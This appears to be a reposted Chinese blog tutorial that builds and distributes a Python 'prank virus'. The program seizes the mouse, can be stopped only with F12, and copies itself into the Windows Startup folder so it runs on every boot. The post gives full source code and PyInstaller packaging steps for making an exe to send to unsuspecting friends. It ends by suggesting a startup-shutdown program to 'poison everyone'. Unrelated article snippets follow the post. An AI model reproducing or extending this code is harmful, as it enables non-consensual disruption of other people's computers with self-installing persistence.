python程序大全(9)——鼠标乱动恶搞小病毒(有资源)

目录

🏆一、前言

🏆二、程序第一版

🏆三、程序大魔改

🚩1、基础改动

🚩2、打包

🚩3、F12保护机制

🚩4、添加开机自启项

🚩5、自己也不懂的线程魔改

🏆四、最终代码

🏆五、尾声

🏆一、前言

(程序源码在最终代码部分。)

(本文配有资源现成的exe,可以直接转发给好友)

(模块:pyautogui,keyboard,sys,shutil,random,os,threading)

(该程序因为不完全是本人写的,所以讲解不怎么好,可忽略)

又是好几个月没写文了,然后发生了一件特别有趣的事想起来了。

自己在远古时代写了一个pyautogui的鼠标乱动程序,最近学了打包,然后就把程序打包下来发给我的QQ好友。

我的好友打开这个程序了之后,鼠标乱点刚好点到他的游戏,帮他直接开了一把,还从黄金掉到白银了哈哈哈哈哈哈

然后就拿着这个程序找我同学,花一天时间将程序大改良,成功做出了一个小型病毒。

程序实现了:

1.运行后鼠标乱动,无法控制。

2.长按F12可以解除。

3.添加开机启动项,重启后继续运行。

🏆二、程序第一版

import pyautogui as gui
import random as r
gui.FAILSAFE =True
a=0
while a<=100:b=r.randint(1,3)if b==1:gui.moveTo(r.randint(1,1919),r.randint(1,1079))if b==2:gui.click(r.randint(1,1919),r.randint(1,1079),button='left')if b==3:gui.dragTo(r.randint(1,1919),r.randint(1,1079))a+=1

这是我做的第一版程序,鼠标可以乱动乱点乱拖100次。后面感觉有点伤害电脑就把乱点乱拖去掉了,只能乱动。

先了解一下pyautogui模块:这是一个自动化脚本模块,内有可以操控自己的鼠标和键盘的函数。详情可以在我的主页查找python详解(6)这篇文章。

配置pyautogui模块,只需输入pip install pyautogui即可。

本程序第三行中的FAILSAFE是一个安全变量,把他设置为True,只要鼠标运行时用力往左上角拖就不会报错。默认为True。

第8行的moveTo函数有移动鼠标到指定坐标的作用。显示器的坐标通常是1920*1080。

第10行的click函数有在指定坐标单机的作用。button参数为单机的鼠标键。button='right'就会单机鼠标右键。

第12行的dragTo有长按鼠标,移动到指定坐标,再松开鼠标的作用,说人话就是拖动。

这个程序要说那里都不错,就是没有实现做出来的意义:打包出来去坑人!

🏆三、程序大魔改

想要把程序拿去坑人,就必须进行打包变成exe格式,这样即使对方的电脑没有对应模块,甚至没有python也能运行。

结果我打包的时候不知道什么原因总是一运行就闪退,于是求助我的同学,结果他直接帮我把程序进行了大魔改:

🚩1、基础改动

将程序做了一些基础改动:gui.FAILSAFE调整为False;将鼠标的点击拖动程序去掉;循环次数直接改成无限次。这些都是小改动,不是重点。

🚩2、打包

打包程序最常用的模块就是pyinstaller。还是万能的pip install安装。

在cmd界面输入:

pyinstaller -F 要打包文件的路径

等待他把一大串东西输出完,文件就打包到了Administrator里面,点开里面的dist文件夹,里面的exe程序就是打包好的程序,双击就可以运行。

不知道什么原因我打包带有pyautogui的程序总是出问题,但是其他程序可以。我同学打包pyautogui程序也可以,就很难评。

🚩3、F12保护机制

代码要实现:侦测到按下F12之后退出程序。

keyboard模块里面(还是需要pip安装)有一个函数:

keyboard.is_pressed()

他将会侦测一个键盘按键是否被按下。是则返回True。

sys模块里面有exit()函数,可以关闭该窗口。

于是,我们可以设置一个鼠标移动的函数:

def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))

大功告成!

🚩4、添加开机自启项

要想程序开机自启,有一个神奇的路径:

r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

只要把文件放在这个路径里面,程序就会开机自启。这里又要用到其他模块了:shutil(第三方)还有sys。

shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")

这段代码可以将该文件复制到开启自启项里。

然后呢,就有一个问题:这个文件开机自启之后,会再运行一遍这个添加开机自启的程序,因为这个程序已经在开机自启项里面了,所以会报错。接下来,要用到万能的os模块:

os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 

这串代码可以返回检索文件结果。如果找到这个文件了就返回True。这样我们可以进行控制:

f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:#如果包含该文件try:if __name__ == "__main__":待补充except Exception as e:#这个地方是出现报错的时候了解报错情况用的print(e)
else:#如果不包含该文件shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")#直接添加while True:move()

🚩5、自己也不懂的线程魔改

多线程实在看不懂学不会。我同学本人的描述是:

就是创建一个线程,如果之后要加功能的话,也方便,直接扔线程池就完事儿了,创建一个线程,应该也可以避免部分崩溃罢。

然后把上述代码魔改成了这样:

threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()

看不懂一点,不过能用就行。

🏆四、最终代码

import pyautogui as gui
gui.FAILSAFE = False
import keyboard
import sys
import shutil
import random as r
import os
import threading
def move():while True:if keyboard.is_pressed('F12') == True:sys.exit()gui.moveTo(r.randint(0,1919),r.randint(0,1070))
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe") 
if f == True:try:if __name__ == "__main__":for t in threads:t.start()except Exception as e:print(e)
else:shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")while True:move()

28行代码,我和同学两个人讨论了1天半,最终还是实现了。只要配置好所有模块打包下来就能用辣!

🏆五、尾声

程序实用性还是不咋的,杀伤力太小,其实可以在这个基础上做一个开机自启关机的程序,直接毒死所有人。

感谢观看!

--------------------------------------------------------end-------------------------------------------------

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/210599.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

排列游戏 --- 动态规划 --- 题解

目录 排列游戏 题目描述 输入描述: 输出描述: 输入 输出 备注: 思路&#xff1a; 代码&#xff1a; 排列游戏 K-排列游戏_牛客竞赛动态规划专题班习题课 (nowcoder.com) 时间限制&#xff1a;C/C 1秒&#xff0c;其他语言2秒 空间限制&#xff1a;C/C 262144K&#…

外包干了三年,我承认我确实废了……

没错&#xff0c;我也干过外包&#xff0c;一干就是三年&#xff0c;三年后&#xff0c;我废了…… 虽说废的不是很彻底&#xff0c;但那三年我几乎是出差了三年、玩了三年、荒废了三年&#xff0c;那三年&#xff0c;我的技术能力几乎是零成长的。 说起这段三年的外包经历&a…

vue中滚轮缩放事件

在Vue中&#xff0c;可以使用原生JS的滚轮事件监听来实现滚轮缩放&#xff1a; 首先在模板中给需要监听滚轮事件的元素添加一个ref属性&#xff0c;用于在Vue中获取元素节点。 <template><div ref"scale"><!-- 需要缩放的内容 --></div> &…

Ubuntu中编译出Windows的可执行程序(.exe)

1、前言 在嵌入式开发中&#xff0c;交叉编译是很常见的情况&#xff0c;如果你把Windows电脑也看做一块高性能的开发板&#xff0c;那在Ubuntu中编译出Windows上运行的可执行程序也是很好理解的行为。 2、安装mingw64环境 sudo apt-get install mingw-w64 3、测试编译链是否安…

【力扣100】5.盛水最多的容器

添加链接描述 我的题解&#xff1a; class Solution:def maxArea(self, height: List[int]) -> int:# 两层for循环&#xff0c;保存最大值temp0res0for i in range(len(height)-1):for j in range(i1,len(height)):tempmin(height[i],height[j])*(j-i)# print(temp)resmax…

Linux压缩命令tar之排除不需要的文件或者目录(--exclude)

tar 中–exclude的简单用法 # 首先创建一个如下的目录结构和测试文件 mydir/ ├── myfile ├── zidir1 │ ├── file1 │ └── file2 ├── zidira │ └── filea └── zidirA├── fileA└── fileB3 directories, 6 files# 上面在 mydir 目录下有三个子…

C++知识点总结(8):尺取法

尺取法 一、复习枚举算法1. 算法三要素2. 最小公倍数公式3. 时间复杂度 二、算法优化初级1. 概念2. 例题(1) 最长小写子串Ⅰ 初步算法Ⅱ 认识尺取法Ⅲ 尺取法程序 (2) 最长递增子串(3) 最小子串和Ⅰ 伪代码Ⅱ 完整代码 (4) 最短字符串包含Ⅰ 伪代码 Ⅱ 代码 一、复习枚举算法 …

打破常规思维:Scrapy处理豆瓣视频下载的方式

概述 Scrapy是一个强大的Python爬虫框架&#xff0c;它可以帮助我们快速地开发和部署各种类型的爬虫项目。Scrapy提供了许多方便的功能&#xff0c;例如请求调度、数据提取、数据存储、中间件、管道、信号等&#xff0c;让我们可以专注于业务逻辑&#xff0c;而不用担心底层的…

MongoDB简介与安装

目录 1. MongoDB简介 2. 安装MongoDB 3. 基本命令行操作 4. Java代码实践 MongoDB是一种NoSQL数据库&#xff0c;以其灵活的文档存储模型和高度可扩展性而闻名。这篇文章将简单介绍一下MongoDB的基本概念&#xff0c;包括其特点和优势&#xff0c;并提供安装MongoDB的步骤。…

MapReduce的执行过程(以及其中排序)

Map阶段(MapTask)&#xff1a; 切片(Split)-----读取数据(Read)-------交给Mapper处理(Map)------分区和排序(sort) Reduce阶段(ReduceTask): 拷贝数据(copy)------排序(sort)-----合并(reduce)-----写出(write) 1、Map task读取&#xff1a; 框架调用InputFormat类的子类读取…

Vue2与Vue3的语法对比

Vue2与Vue3的语法对比 Vue.js是一款流行的JavaScript框架&#xff0c;通过它可以更加轻松地构建Web用户界面。随着Vue.js的不断发展&#xff0c;Vue2的语法已经在很多应用中得到了广泛应用。而Vue3于2020年正式发布&#xff0c;带来了许多新的特性和改进&#xff0c;同时也带来…

rpc原理与应用

IPC和RPC&#xff1f; RPC 而RPC&#xff08;Remote Procedure Call&#xff09;&#xff0c;又叫做远程过程调用。它本身并不是一个具体的协议&#xff0c;而是一种调用方式。 gRPC 是 Google 最近公布的开源软件&#xff0c;基于最新的 HTTP2.0 协议&#xff0c;并支持常见…

【SQLite】SQLite3约束总结

前面学习了SQLite数据库的常见使用方法&#xff0c;其中包含许多约束&#xff0c;常见的如NOT NULL、DEFAULT、UNIQUE、PRIMARY KEY&#xff08;主键&#xff09;、CHECK等 本篇文章主要介绍这些约束在SQLite中的使用 目录 什么是约束NOT NULL 约束DEFAULT约束UNIQUE约束PRIMA…

【设计模式-3.2】结构型——适配器模式

说明&#xff1a;本文介绍设计模式中结构型设计模式中的&#xff0c;适配器模式&#xff1b; 插头转换器 适配器模式属于结构型设计模式&#xff0c;设计思想体现在结构上的。以插头转换器为例&#xff0c;当你需要给手机充电&#xff0c;但是眼前只有一个三孔插座&#xff0…

Java基本类型的高级使用方法详解

引言 Java中的基本数据类型&#xff08;primitive types&#xff09;是构建程序的基础&#xff0c;包括整型、浮点型、字符型、布尔型等。除了直接使用这些基本类型外&#xff0c;Java还提供了一些高级的使用方法&#xff0c;使得我们能够更灵活地处理基本类型数据。本文将深入…

二叉树结点个数、叶子结点个数、树的高度、第k层结点个数的计算(C语言)

目录 前言 分治算法 模拟二叉树代码 结点个数计算 错误方法 不便利方法 基于分治思想的方法 叶子结点个数 树的高度 第k层结点的个数 前言 在链式二叉树的前序、中序、后续遍历中我们模拟了一棵二叉树&#xff0c;并实现了它的前、中、后序遍历&#xff0c;现在我们来…

UE4 .ini文件使用

在需要给配置文件的类中加上config标签&#xff0c;当然变量也要加 在项目的Config下&#xff0c;新建一个Default类的UCLASS中config等于的名字&#xff0c;这里结合上面截图就是DefaultTest 在下面写入 [/Script/项目名/类名] 然后写变量以及对应的值即可

【Angular 开发】Angular 信号的应用状态管理

自我介绍 做一个简单介绍&#xff0c;年近48 &#xff0c;有20多年IT工作经历&#xff0c;目前在一家500强做企业架构&#xff0e;因为工作需要&#xff0c;另外也因为兴趣涉猎比较广&#xff0c;为了自己学习建立了三个博客&#xff0c;分别是【全球IT瞭望】&#xff0c;【架构…

智能机器人在新材料方面遇到的挑战

智能机器人在新材料方面面临的挑战包括但不限于以下几点&#xff1a; 新材料的研发&#xff1a;机器人需要使用新材料来提高其性能和功能。然而&#xff0c;新材料的研发需要大量的时间和资金&#xff0c;同时还需要具备高超的技术和专业知识. 材料的可靠性&#xff1a;机器人…

GO面试题系列

1.GO有哪些关键字 2.GO有哪些数据类型 3.Go方法与函数的区别 在Go语言中&#xff0c;方法和函数是两个不同的概念&#xff0c;尽管它们在某些方面有相似之处。下面是它们的主要区别&#xff1a; 定义位置&#xff1a; 函数&#xff1a; 函数是独立声明的&#xff0c;它们不…